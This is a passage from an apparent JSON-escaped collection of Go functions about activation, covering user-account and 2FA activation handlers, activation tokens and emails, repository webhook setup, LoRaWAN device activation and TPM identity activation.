err)\\n\\t\\treturn\\n\\n\\t}\\n\\n\\t//Lookup the user id\\n\\tuser, err := handler.userHelper.GetUserByEmail(info.Email)\\n\\n\\t//Return the error\\n\\tif err != nil {\\n\\t\\tutils.ReturnJsonStatus(w, http.StatusForbidden, false, \\\"activation_forbidden\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\t//Try to use the token\\n\\trequestId, err := handler.userHelper.CheckForActivationToken(user.Id(), info.ActToken)\\n\\n\\t//Return the error\\n\\tif err != nil {\\n\\t\\tutils.ReturnJsonStatus(w, http.StatusForbidden, false, \\\"activation_forbidden\\\")\\n\\t\\treturn\\n\\t}\\n\\t//Now activate the user\\n\\terr = handler.userHelper.ActivateUser(user)\\n\\n\\t//Return the error\\n\\tif err != nil {\\n\\t\\tutils.ReturnJsonError(w, http.StatusForbidden, err)\\n\\t\\treturn\\n\\t}\\n\\t//Mark the request as used\\n\\terr = handler.userHelper.UseToken(requestId)\\n\\n\\t//Check to see if the user was created\\n\\tif err == nil {\\n\\t\\tutils.ReturnJsonStatus(w, http.StatusAccepted, true, \\\"user_activated\\\")\\n\\t} else {\\n\\t\\tutils.ReturnJsonError(w, http.StatusForbidden, err)\\n\\t}\\n}\",\n \"func (dao *Dao) ActivateAcc(activeCode string) error {\\n\\tvar g mysql.Gooq\\n\\n\\tg.SQL.\\n\\t\\tSelect(userpo.Acc).\\n\\t\\tFrom(userpo.Table).\\n\\t\\tWhere(c(userpo.ActiveCode).Eq(\\\"?\\\"))\\n\\tg.AddValues(activeCode)\\n\\n\\tvar account string\\n\\tif err := g.QueryRow(func(row *sql.Row) error {\\n\\t\\treturn row.Scan(&account)\\n\\t}); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tg = mysql.Gooq{}\\n\\tconditions := []gooq.Condition{c(userpo.Status).Eq(\\\"?\\\")}\\n\\tg.SQL.Update(userpo.Table).Set(conditions...).Where(c(userpo.Acc).Eq(\\\"?\\\"))\\n\\tg.AddValues(userstatus.Active, account)\\n\\n\\tif _, err := g.Exec(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func Activate(auth interface{}, codetype string, code string) (Response, error) {\\n\\tvar arguments = []interface{}{\\n\\t\\tcodetype,\\n\\t\\tcode,\\n\\t}\\n\\treturn Call(auth, \\\"activate\\\", arguments)\\n}\",\n \"func (s Service) ActivateUser(ctx context.Context, code string, userID string) (*account.LoginResponse, error) {\\n\\tspan := s.tracer.MakeSpan(ctx, \\\"ActivateUser\\\")\\n\\tdefer span.Finish()\\n\\n\\t// check tmp code\\n\\tmatched, email, err := s.repository.Cache.CheckTemporaryCodeForEmailActivation(ctx, userID, code)\\n\\tif err != nil {\\n\\t\\ts.tracer.LogError(span, err)\\n\\t}\\n\\tif !matched {\\n\\t\\treturn nil, errors.New(\\\"wrong_activation_code\\\")\\n\\t}\\n\\n\\t// change status of user\\n\\terr = s.repository.Users.ChangeStatusOfUser(ctx, userID, status.UserStatusActivated)\\n\\tif err != nil {\\n\\t\\ts.tracer.LogError(span, err)\\n\\t\\t// internal error\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// change status of email\\n\\terr = s.repository.Users.ActivateEmail(ctx, userID, email)\\n\\tif err != nil {\\n\\t\\ts.tracer.LogError(span, err)\\n\\t\\t// internal error\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tres, err := s.repository.Users.GetCredentialsByUserID(ctx, userID)\\n\\tif err != nil {\\n\\t\\ts.tracer.LogError(span, err)\\n\\t\\t// internal error\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\ts.passContext(&ctx)\\n\\n\\tresult := &account.LoginResponse{}\\n\\n\\tresult.Token, err = s.authRPC.LoginUser(ctx, userID)\\n\\tif err != nil {\\n\\t\\ts.tracer.LogError(span, err)\\n\\t\\t// internal error\\n\\t}\\n\\n\\t// TODO:\\n\\t// SetDateOfActivation\\n\\n\\terr = s.repository.Cache.Remove(email)\\n\\tif err != nil {\\n\\t\\ts.tracer.LogError(span, err)\\n\\t}\\n\\n\\treturn &account.LoginResponse{\\n\\t\\tID: userID,\\n\\t\\tURL: res.URL,\\n\\t\\tFirstName: res.FirstName,\\n\\t\\tLastName: res.LastName,\\n\\t\\tAvatar: res.Avatar,\\n\\t\\tToken: result.Token,\\n\\t\\tGender: res.Gender,\\n\\t}, nil\\n}\",\n \"func (s *UsersService) Activate(id string, sendEmail bool) (*ActivationResponse, *Response, error) {\\n\\tu := fmt.Sprintf(\\\"users/%v/lifecycle/activate?sendEmail=%v\\\", id, sendEmail)\\n\\n\\treq, err := s.client.NewRequest(\\\"POST\\\", u, nil)\\n\\tif err != nil {\\n\\t\\treturn nil, nil, err\\n\\t}\\n\\n\\tactivationInfo := new(ActivationResponse)\\n\\tresp, err := s.client.Do(req, activationInfo)\\n\\n\\tif err != nil {\\n\\t\\treturn nil, resp, err\\n\\t}\\n\\n\\treturn activationInfo, resp, err\\n}\",\n \"func (contrl *MailController) SendActivation(c *gin.Context) (int, gin.H, error) {\\n\\tconst subject = \\\"歡迎登入報導者,體驗會員專屬功能\\\"\\n\\tvar err error\\n\\tvar mailBody string\\n\\tvar out bytes.Buffer\\n\\tvar reqBody activationReqBody\\n\\n\\tif failData, err := bindRequestJSONBody(c, &reqBody); err != nil {\\n\\t\\treturn http.StatusBadRequest, gin.H{\\\"status\\\": \\\"fail\\\", \\\"data\\\": failData}, nil\\n\\t}\\n\\n\\tif err = contrl.HTMLTemplate.ExecuteTemplate(&out, \\\"signin.tmpl\\\", struct {\\n\\t\\tHref string\\n\\t}{\\n\\t\\treqBody.ActivateLink,\\n\\t}); err != nil {\\n\\t\\treturn http.StatusInternalServerError, gin.H{\\\"status\\\": \\\"error\\\", \\\"message\\\": \\\"can not create activate mail body\\\"}, errors.WithStack(err)\\n\\t}\\n\\n\\tmailBody = out.String()\\n\\n\\tif err = contrl.MailService.Send(reqBody.Email, subject, mailBody); err != nil {\\n\\t\\treturn http.StatusInternalServerError, gin.H{\\\"status\\\": \\\"error\\\", \\\"message\\\": fmt.Sprintf(\\\"can not send activate mail to %s\\\", reqBody.Email)}, err\\n\\t}\\n\\n\\treturn http.StatusNoContent, gin.H{}, nil\\n}\",\n \"func (c *client) Activate(u *model.User, r *model.Repo, link string) error {\\n\\tconfig := map[string]string{\\n\\t\\t\\\"url\\\": link,\\n\\t\\t\\\"secret\\\": r.Hash,\\n\\t\\t\\\"content_type\\\": \\\"json\\\",\\n\\t}\\n\\thook := gitea.CreateHookOption{\\n\\t\\tType: \\\"gitea\\\",\\n\\t\\tConfig: config,\\n\\t\\tEvents: []string{\\\"push\\\", \\\"create\\\", \\\"pull_request\\\"},\\n\\t\\tActive: true,\\n\\t}\\n\\n\\tclient := c.newClientToken(u.Token)\\n\\t_, err := client.CreateRepoHook(r.Owner, r.Name, hook)\\n\\treturn err\\n}\",\n \"func (a *Auth) NewActivationKey() {\\n\\ta.ActivationKey = []byte(uuid.New())\\n\\ta.ActivationExpires = time.Now().AddDate(0, 0, 7).Round(1 * time.Second).UTC()\\n}\",\n \"func setActivationToken() func(*User) error {\\n\\treturn func(a *User) error {\\n\\t\\ta.ActivationToken = uuid.New().String()\\n\\t\\ta.ActivationExpiryDate = time.Now().Add(1 * time.Hour)\\n\\t\\treturn nil\\n\\t}\\n}\",\n \"func ActivateUserProfile(context *gin.Context) {\\n\\tuserProfile := models.UserProfile{}\\n\\tuserProfile.Username = context.Param(\\\"id\\\")\\n\\tuserProfile.Status = \\\"active\\\"\\n\\n\\tmodifiedCount, err := userprofileservice.Update(userProfile)\\n\\tif modifiedCount == 0 {\\n\\t\\tcontext.JSON(http.StatusNotFound, gin.H{\\\"message\\\": \\\"Failed to activate user\\\", \\\"id\\\": userProfile.Username})\\n\\t\\treturn\\n\\t}\\n\\n\\tif err != nil {\\n\\t\\tcontext.JSON(http.StatusInternalServerError, gin.H{\\\"message\\\": \\\"Failed to activate user\\\", \\\"id\\\": userProfile.Username})\\n\\t\\treturn\\n\\t}\\n\\n\\tcontext.JSON(http.StatusOK, gin.H{\\\"message\\\": \\\"ok\\\"})\\n}\",\n \"func (r *Bitbucket) Activate(user *model.User, repo *model.Repo, link string) error {\\n\\tvar client = bitbucket.New(\\n\\t\\tr.Client,\\n\\t\\tr.Secret,\\n\\t\\tuser.Access,\\n\\t\\tuser.Secret,\\n\\t)\\n\\n\\t// parse the hostname from the hook, and use this\\n\\t// to name the ssh key\\n\\tvar hookurl, err = url.Parse(link)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// if the repository is private we'll need\\n\\t// to upload a github key to the repository\\n\\tif repo.Private {\\n\\t\\t// name the key\\n\\t\\tvar keyname = \\\"drone@\\\" + hookurl.Host\\n\\t\\tvar _, err = client.RepoKeys.CreateUpdate(repo.Owner, repo.Name, repo.PublicKey, keyname)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\t// add the hook\\n\\t_, err = client.Brokers.CreateUpdate(repo.Owner, repo.Name, link, bitbucket.BrokerTypePost)\\n\\treturn err\\n}\",\n \"func activateServiceAccount(path string) error {\\n\\tif path == \\\"\\\" {\\n\\t\\treturn nil\\n\\t}\\n\\treturn runWithOutput(exec.Command(\\\"gcloud\\\", \\\"auth\\\", \\\"activate-service-account\\\", \\\"--key-file=\\\"+path))\\n}\",\n \"func activateWorkItem(item WorkItem, request BlockReq) {\\n\\tvalue := workItemMap[item.ID]\\n\\tvalue.Active = true\\n\\n\\t// update the workItemMap (in memory)\\n\\tworkItemMap[item.ID] = value\\n\\n\\t// update the WorkItem value on disk\\n\\tworkDB.persistWorkItem(value)\\n\\n\\t// update the User's WorkItem list on disk\\n\\tuser, getUsrError := labsDB.getUser(request.LabKey, request.Username)\\n\\tif getUsrError != nil {\\n\\t\\treturn\\n\\t}\\n\\tuser.addWorkItem(item.ID)\\n\\tlabsDB.setUser(user)\\n}\",\n \"func UserActivated(e string) bool {\\n\\tsqlStmt := `SELECT \\n\\t\\t\\t\\t\\tfldIsActivated\\n\\t\\t\\t\\tFROM tblUsers\\n\\t\\t\\t\\tINNER JOIN tblActivationTokens\\n\\t\\t\\t\\tON tblActivationTokens.fldFKUserID = tblUsers.fldID\\n\\t\\t\\t\\tWHERE fldEmail = ?;`\\n\\n\\tstmt, err := globals.Db.Prepare(sqlStmt)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tdefer stmt.Close()\\n\\n\\tvar isActivated int\\n\\terr = stmt.QueryRow(e).Scan(&isActivated)\\n\\tif err != nil {\\n\\t\\t// No rows found\\n\\t\\tif err == sql.ErrNoRows {\\n\\t\\t\\treturn false\\n\\t\\t}\\n\\t\\t// Something else went wrong\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\t// User is not activated\\n\\tif isActivated == 0 {\\n\\t\\treturn false\\n\\t}\\n\\n\\treturn true\\n}\",\n \"func (db *Db) activateMerchantAccountTxFunc(id uint64) core_database.CmplxTx {\\n\\treturn func(ctx context.Context, tx *gorm.DB) (interface{}, error) {\\n\\t\\tconst operationType = \\\"activate_business_account_db_tx\\\"\\n\\t\\tdb.Logger.Info(\\\"starting transaction\\\")\\n\\n\\t\\tif id == 0 {\\n\\t\\t\\treturn false, service_errors.ErrInvalidInputArguments\\n\\t\\t}\\n\\n\\t\\taccount, err := db.GetMerchantAccountById(ctx, id, false)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn false, err\\n\\t\\t}\\n\\n\\t\\tif account.IsActive {\\n\\t\\t\\treturn true, nil\\n\\t\\t}\\n\\n\\t\\tif err := db.Conn.Engine.Model(&models.MerchantAccountORM{}).Where(\\\"id\\\", account.Id).Update(\\\"is_active\\\", \\\"true\\\").Error; err != nil {\\n\\t\\t\\treturn false, err\\n\\t\\t}\\n\\n\\t\\treturn true, nil\\n\\t}\\n}\",\n \"func (a *apiServer) ActivateAuth(ctx context.Context, req *pps.ActivateAuthRequest) (*pps.ActivateAuthResponse, error) {\\n\\tvar resp *pps.ActivateAuthResponse\\n\\tif err := a.txnEnv.WithWriteContext(ctx, func(txnCtx *txncontext.TransactionContext) error {\\n\\t\\tvar err error\\n\\t\\tresp, err = a.ActivateAuthInTransaction(txnCtx, req)\\n\\t\\treturn err\\n\\t}); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn resp, nil\\n}\",\n \"func (handler *Handler) handleUserActivationGet(w http.ResponseWriter, r *http.Request) {\\n\\n\\t//Now get the email that was passed in\\n\\tkeys, ok := r.URL.Query()[\\\"email\\\"]\\n\\n\\t//Only take the first one\\n\\tif !ok || len(keys[0]) < 1 {\\n\\t\\tutils.ReturnJsonStatus(w, http.StatusUnprocessableEntity, false, \\\"activation_token_missing_email\\\")\\n\\t}\\n\\n\\t//Get the email\\n\\temail := keys[0]\\n\\n\\t//Look up the user\\n\\tuser, err := handler.userHelper.GetUserByEmail(email)\\n\\n\\t//If there is an error just return, we don't want people to know if there was an email here\\n\\tif err != nil {\\n\\t\\tutils.ReturnJsonStatus(w, http.StatusOK, true, \\\"activation_token_request_received\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\t//Now issue a request\\n\\t//If the user is not already active\\n\\tif user.Activated() {\\n\\t\\tutils.ReturnJsonStatus(w, http.StatusOK, true, \\\"activation_token_request_received\\\")\\n\\t}\\n\\t//Else issue the request\\n\\terr = handler.userHelper.IssueActivationRequest(handler.userHelper.passwordHelper.TokenGenerator(), user.Id(), user.Email())\\n\\n\\t//There was a real error return\\n\\tif err != nil {\\n\\t\\tutils.ReturnJsonError(w, http.StatusNotFound, err)\\n\\t\\treturn\\n\\t}\\n\\n\\t//Now just return\\n\\tutils.ReturnJsonStatus(w, http.StatusOK, true, \\\"activation_token_request_received\\\")\\n\\n}\",\n \"func (db *database) ActivatePerson(ctx context.Context, personID int) error {\\n\\tresult, err := db.ExecContext(ctx, `\\n\\t\\tUPDATE person SET\\n\\t\\t\\tis_deactivated = FALSE\\n\\t\\tWHERE person_id = $1\\n\\t`, personID)\\n\\n\\tif err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"failed to activate person\\\")\\n\\t}\\n\\n\\tn, err := result.RowsAffected()\\n\\tif err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"failed to check result of person activation\\\")\\n\\t} else if n != 1 {\\n\\t\\treturn errors.Wrapf(\\n\\t\\t\\tapp.ErrNotFound,\\n\\t\\t\\t\\\"no such person by id of %d\\\", personID,\\n\\t\\t)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (r *NucypherAccountRepository) Reactivate(updatedBy string, accountID int, now time.Time) error {\\n\\n\\t_, err := r.store.db.NamedExec(`UPDATE nucypher_accounts \\n\\tSET is_active=true, updated_by=:updated_by, updated_at=:updated_at \\n\\tWHERE (created_by=:updated_by AND account_id=:account_id AND is_active=false)`,\\n\\t\\tmap[string]interface{}{\\n\\t\\t\\t\\\"updated_by\\\": updatedBy,\\n\\t\\t\\t\\\"account_id\\\": accountID,\\n\\t\\t\\t\\\"updated_at\\\": now,\\n\\t\\t})\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n\\n}\",\n \"func SendActivationEmail(user models.User) {\\n\\ttitle := \\\"Welcome to Calagora!\\\"\\n\\tparagraphs := []interface{}{\\n\\t\\t\\\"Welcome to Calagora, \\\" + user.DisplayName + \\\"!\\\",\\n\\t\\t\\\"You've successfully created an account with the username \\\" +\\n\\t\\t\\tuser.Username + \\\".\\\",\\n\\t\\t\\\"In order to complete your registration, you just need to \\\" +\\n\\t\\t\\t\\\"activate your account.\\\",\\n\\t\\t\\\"To do this, copy and paste this link into your address bar:\\\",\\n\\t\\tmakeURLLink(\\\"https://www.calagora.com/user/activate/\\\" +\\n\\t\\t\\tstrconv.Itoa(user.ID) + \\\"/\\\" + user.Activation),\\n\\t\\t\\\"After you activate your account, you can make offers on \\\" +\\n\\t\\t\\t\\\"listings, create your own listings, and chat with sellers or \\\" +\\n\\t\\t\\t\\\"buyers through the site!\\\",\\n\\t}\\n\\temail := &utils.Email{\\n\\t\\tTo: []string{user.EmailAddress},\\n\\t\\tFrom: Base.AutomatedEmail,\\n\\t\\tSubject: title,\\n\\t\\tFormattedText: GenerateHTML(title, paragraphs),\\n\\t\\tPlainText: GeneratePlain(title, paragraphs),\\n\\t}\\n\\tBase.EmailChannel <- email\\n}\",\n \"func (a *DeviceAPI) Activate(ctx context.Context, req *api.ActivateDeviceRequest) (*empty.Empty, error) {\\n\\tvar response empty.Empty\\n\\tif req.DeviceActivation == nil {\\n\\t\\treturn nil, status.Errorf(codes.InvalidArgument, \\\"device_activation must not be nil\\\")\\n\\t}\\n\\n\\tvar devAddr lorawan.DevAddr\\n\\tvar devEUI lorawan.EUI64\\n\\tvar appSKey lorawan.AES128Key\\n\\tvar nwkSEncKey lorawan.AES128Key\\n\\tvar sNwkSIntKey lorawan.AES128Key\\n\\tvar fNwkSIntKey lorawan.AES128Key\\n\\n\\tif err := devAddr.UnmarshalText([]byte(req.DeviceActivation.DevAddr)); err != nil {\\n\\t\\treturn nil, status.Errorf(codes.InvalidArgument, \\\"devAddr: %s\\\", err)\\n\\t}\\n\\tif err := devEUI.UnmarshalText([]byte(req.DeviceActivation.DevEui)); err != nil {\\n\\t\\treturn nil, status.Errorf(codes.InvalidArgument, \\\"devEUI: %s\\\", err)\\n\\t}\\n\\tif err := appSKey.UnmarshalText([]byte(req.DeviceActivation.AppSKey)); err != nil {\\n\\t\\treturn nil, status.Errorf(codes.InvalidArgument, \\\"appSKey: %s\\\", err)\\n\\t}\\n\\tif err := nwkSEncKey.UnmarshalText([]byte(req.DeviceActivation.NwkSEncKey)); err != nil {\\n\\t\\treturn nil, status.Errorf(codes.InvalidArgument, \\\"nwkSEncKey: %s\\\", err)\\n\\t}\\n\\tif err := sNwkSIntKey.UnmarshalText([]byte(req.DeviceActivation.SNwkSIntKey)); err != nil {\\n\\t\\treturn nil, status.Errorf(codes.InvalidArgument, \\\"sNwkSIntKey: %s\\\", err)\\n\\t}\\n\\tif err := fNwkSIntKey.UnmarshalText([]byte(req.DeviceActivation.FNwkSIntKey)); err != nil {\\n\\t\\treturn nil, status.Errorf(codes.InvalidArgument, \\\"fNwkSIntKey: %s\\\", err)\\n\\t}\\n\\n\\tif valid, err := devmod.NewValidator(a.st).ValidateNodeAccess(ctx, authcus.Update, devEUI); !valid || err != nil {\\n\\t\\treturn nil, status.Errorf(codes.Unauthenticated, \\\"authentication failed: %s\\\", err)\\n\\t}\\n\\n\\td, err := a.st.GetDevice(ctx, devEUI, false)\\n\\tif err != nil {\\n\\t\\treturn nil, helpers.ErrToRPCError(err)\\n\\t}\\n\\n\\tn, err := a.st.GetNetworkServerForDevEUI(ctx, devEUI)\\n\\tif err != nil {\\n\\t\\treturn nil, helpers.ErrToRPCError(err)\\n\\t}\\n\\n\\tnsClient, err := a.nsCli.GetNetworkServerServiceClient(n.ID)\\n\\tif err != nil {\\n\\t\\treturn nil, status.Errorf(codes.Internal, err.Error())\\n\\t}\\n\\n\\t_, _ = nsClient.DeactivateDevice(ctx, &ns.DeactivateDeviceRequest{\\n\\t\\tDevEui: d.DevEUI[:],\\n\\t})\\n\\n\\tactReq := ns.ActivateDeviceRequest{\\n\\t\\tDeviceActivation: &ns.DeviceActivation{\\n\\t\\t\\tDevEui: d.DevEUI[:],\\n\\t\\t\\tDevAddr: devAddr[:],\\n\\t\\t\\tNwkSEncKey: nwkSEncKey[:],\\n\\t\\t\\tSNwkSIntKey: sNwkSIntKey[:],\\n\\t\\t\\tFNwkSIntKey: fNwkSIntKey[:],\\n\\t\\t\\tFCntUp: req.DeviceActivation.FCntUp,\\n\\t\\t\\tNFCntDown: req.DeviceActivation.NFCntDown,\\n\\t\\t\\tAFCntDown: req.DeviceActivation.AFCntDown,\\n\\t\\t},\\n\\t}\\n\\n\\tif err := a.st.UpdateDeviceActivation(ctx, d.DevEUI, devAddr, appSKey); err != nil {\\n\\t\\treturn nil, status.Errorf(codes.Unknown, \\\"%v\\\", err)\\n\\t}\\n\\n\\t_, err = nsClient.ActivateDevice(ctx, &actReq)\\n\\tif err != nil {\\n\\t\\treturn nil, status.Errorf(codes.Unknown, \\\"%v\\\", err)\\n\\t}\\n\\n\\tlog.WithFields(log.Fields{\\n\\t\\t\\\"dev_addr\\\": devAddr,\\n\\t\\t\\\"dev_eui\\\": d.DevEUI,\\n\\t\\t\\\"ctx_id\\\": ctx.Value(logging.ContextIDKey),\\n\\t}).Info(\\\"device activated\\\")\\n\\n\\treturn &response, nil\\n}\",\n \"func (dc *DexClient) ActivateAccount(code string) error {\\n\\treturn dc.ActivateAccountContext(context.Background(), code)\\n}\",\n \"func Activate2FA(w http.ResponseWriter, r *http.Request) {\\n\\tfLog := userMgmtLogger.WithField(\\\"func\\\", \\\"Activate2FA\\\").WithField(\\\"RequestID\\\", r.Context().Value(constants.RequestID)).WithField(\\\"path\\\", r.URL.Path).WithField(\\\"method\\\", r.Method)\\n\\tauthCtx := r.Context().Value(constants.HansipAuthentication).(*hansipcontext.AuthenticationContext)\\n\\tuser, err := UserRepo.GetUserByEmail(r.Context(), authCtx.Subject)\\n\\tif err != nil {\\n\\t\\tfLog.Errorf(\\\"UserRepo.GetUserByEmail got %s\\\", err.Error())\\n\\t\\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, fmt.Sprintf(\\\"subject not found : %s. got %s\\\", authCtx.Subject, err.Error()))\\n\\t\\treturn\\n\\t}\\n\\tif user == nil {\\n\\t\\thelper.WriteHTTPResponse(r.Context(), w, http.StatusNotFound, fmt.Sprintf(\\\"User email %s not found\\\", authCtx.Subject), nil, nil)\\n\\t\\treturn\\n\\t}\\n\\tbody, err := ioutil.ReadAll(r.Body)\\n\\tif err != nil {\\n\\t\\tfLog.Errorf(\\\"ioutil.ReadAll got %s\\\", err.Error())\\n\\t\\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\\n\\t\\treturn\\n\\t}\\n\\tc := &Activate2FARequest{}\\n\\terr = json.Unmarshal(body, c)\\n\\tif err != nil {\\n\\t\\tfLog.Errorf(\\\"json.Unmarshal got %s\\\", err.Error())\\n\\t\\thelper.WriteHTTPResponse(r.Context(), w, http.StatusBadRequest, \\\"Malformed json body\\\", nil, nil)\\n\\t\\treturn\\n\\t}\\n\\n\\tsecret := totp.SecretFromBase32(user.UserTotpSecretKey)\\n\\tvalid, err := totp.Authenticate(secret, c.Token, true)\\n\\tif err != nil {\\n\\t\\tfLog.Errorf(\\\"totp.GenerateTotpWithDrift got %s\\\", err.Error())\\n\\t\\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\\n\\t\\treturn\\n\\t}\\n\\tif !valid {\\n\\t\\tfLog.Errorf(\\\"Invalid OTP token for %s\\\", user.Email)\\n\\t\\thelper.WriteHTTPResponse(r.Context(), w, http.StatusNotFound, err.Error(), nil, \\\"Invalid OTP\\\")\\n\\t\\treturn\\n\\t}\\n\\tcodes, err := UserRepo.GetTOTPRecoveryCodes(r.Context(), user)\\n\\tif err != nil {\\n\\t\\tfLog.Errorf(\\\"UserRepo.GetTOTPRecoveryCodes got %s\\\", err.Error())\\n\\t\\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\\n\\t\\treturn\\n\\t}\\n\\tresp := Activate2FAResponse{\\n\\t\\tCodes: codes,\\n\\t}\\n\\tuser.Enable2FactorAuth = true\\n\\terr = UserRepo.UpdateUser(r.Context(), user)\\n\\tif err != nil {\\n\\t\\tfLog.Errorf(\\\"UserRepo.SaveOrUpdate got %s\\\", err.Error())\\n\\t\\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\\n\\t\\treturn\\n\\t}\\n\\thelper.WriteHTTPResponse(r.Context(), w, http.StatusOK, \\\"2FA Activated\\\", nil, resp)\\n}\",\n \"func (dc *DexClient) ActivateAccountContext(ctx context.Context, code string) error {\\n\\treturn dc.responseOp(ctx, http.MethodGet, fmt.Sprintf(ActivateAccountPath, code), nil, nil)\\n}\",\n \"func (m *UserResource) ActivateUser(ctx context.Context, userId string, qp *query.Params) (*UserActivationToken, *Response, error) {\\n\\turl := fmt.Sprintf(\\\"/api/v1/users/%v/lifecycle/activate\\\", userId)\\n\\tif qp != nil {\\n\\t\\turl = url + qp.String()\\n\\t}\\n\\n\\trq := m.client.CloneRequestExecutor()\\n\\n\\treq, err := rq.WithAccept(\\\"application/json\\\").WithContentType(\\\"application/json\\\").NewRequest(\\\"POST\\\", url, nil)\\n\\tif err != nil {\\n\\t\\treturn nil, nil, err\\n\\t}\\n\\n\\tvar userActivationToken *UserActivationToken\\n\\n\\tresp, err := rq.Do(ctx, req, &userActivationToken)\\n\\tif err != nil {\\n\\t\\treturn nil, resp, err\\n\\t}\\n\\n\\treturn userActivationToken, resp, nil\\n}\",\n \"func (client IdentityClient) activateMfaTotpDevice(ctx context.Context, request common.OCIRequest, binaryReqBody *common.OCIReadSeekCloser, extraHeaders map[string]string) (common.OCIResponse, error) {\\n\\n\\thttpRequest, err := request.HTTPRequest(http.MethodPost, \\\"/users/{userId}/mfaTotpDevices/{mfaTotpDeviceId}/actions/activate\\\", binaryReqBody, extraHeaders)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tvar response ActivateMfaTotpDeviceResponse\\n\\tvar httpResponse *http.Response\\n\\thttpResponse, err = client.Call(ctx, &httpRequest)\\n\\tdefer common.CloseBodyIfValid(httpResponse)\\n\\tresponse.RawResponse = httpResponse\\n\\tif err != nil {\\n\\t\\treturn response, err\\n\\t}\\n\\n\\terr = common.UnmarshalResponse(httpResponse, &response)\\n\\treturn response, err\\n}\",\n \"func (m *Mailer) SendActivationMail(u *model.User, token string) error {\\n\\treturn m.act.Do(u.Email, m.cnt.GetActivationMail(u.Nickname, token))\\n}\",\n \"func ActivateIdentity(rw io.ReadWriter, aikAuth []byte, ownerAuth []byte, aik tpmutil.Handle, asym, sym []byte) ([]byte, error) {\\n\\t// Run OIAP for the AIK.\\n\\toiaprAIK, err := oiap(rw)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to start OIAP session: %v\\\", err)\\n\\t}\\n\\n\\t// Run OSAP for the owner, reading a random OddOSAP for our initial command\\n\\t// and getting back a secret and a handle.\\n\\tsharedSecretOwn, osaprOwn, err := newOSAPSession(rw, etOwner, khOwner, ownerAuth)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to start OSAP session: %v\\\", err)\\n\\t}\\n\\tdefer osaprOwn.Close(rw)\\n\\tdefer zeroBytes(sharedSecretOwn[:])\\n\\n\\tauthIn := []interface{}{ordActivateIdentity, tpmutil.U32Bytes(asym)}\\n\\tca1, err := newCommandAuth(oiaprAIK.AuthHandle, oiaprAIK.NonceEven, nil, aikAuth, authIn)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"newCommandAuth failed: %v\\\", err)\\n\\t}\\n\\tca2, err := newCommandAuth(osaprOwn.AuthHandle, osaprOwn.NonceEven, nil, sharedSecretOwn[:], authIn)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"newCommandAuth failed: %v\\\", err)\\n\\t}\\n\\n\\tsymkey, ra1, ra2, ret, err := activateIdentity(rw, aik, asym, ca1, ca2)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"activateIdentity failed: %v\\\", err)\\n\\t}\\n\\n\\t// Check response authentication.\\n\\traIn := []interface{}{ret, ordActivateIdentity, symkey}\\n\\tif err := ra1.verify(ca1.NonceOdd, aikAuth, raIn); err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"aik resAuth failed to verify: %v\\\", err)\\n\\t}\\n\\n\\tif err := ra2.verify(ca2.NonceOdd, sharedSecretOwn[:], raIn); err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"owner resAuth failed to verify: %v\\\", err)\\n\\t}\\n\\n\\tcred, err := unloadTrspiCred(sym)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"unloadTrspiCred failed: %v\\\", err)\\n\\t}\\n\\tvar (\\n\\t\\tblock cipher.Block\\n\\t\\tiv []byte\\n\\t\\tciphertxt []byte\\n\\t\\tsecret []byte\\n\\t)\\n\\tswitch id := symkey.AlgID; id {\\n\\tcase AlgAES128:\\n\\t\\tblock, err = aes.NewCipher(symkey.Key)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"aes.NewCipher failed: %v\\\", err)\\n\\t\\t}\\n\\t\\tiv = cred[:aes.BlockSize]\\n\\t\\tciphertxt = cred[aes.BlockSize:]\\n\\t\\tsecret = ciphertxt\\n\\tdefault:\\n\\t\\treturn nil, fmt.Errorf(\\\"%v is not a supported session key algorithm\\\", id)\\n\\t}\\n\\tswitch es := symkey.EncScheme; es {\\n\\tcase esSymCTR:\\n\\t\\tstream := cipher.NewCTR(block, iv)\\n\\t\\tstream.XORKeyStream(secret, ciphertxt)\\n\\tcase esSymOFB:\\n\\t\\tstream := cipher.NewOFB(block, iv)\\n\\t\\tstream.XORKeyStream(secret, ciphertxt)\\n\\tcase esSymCBCPKCS5:\\n\\t\\tmode := cipher.NewCBCDecrypter(block, iv)\\n\\t\\tmode.CryptBlocks(secret, ciphertxt)\\n\\t\\t// Remove PKCS5 padding.\\n\\t\\tpadlen := int(secret[len(secret)-1])\\n\\t\\tsecret = 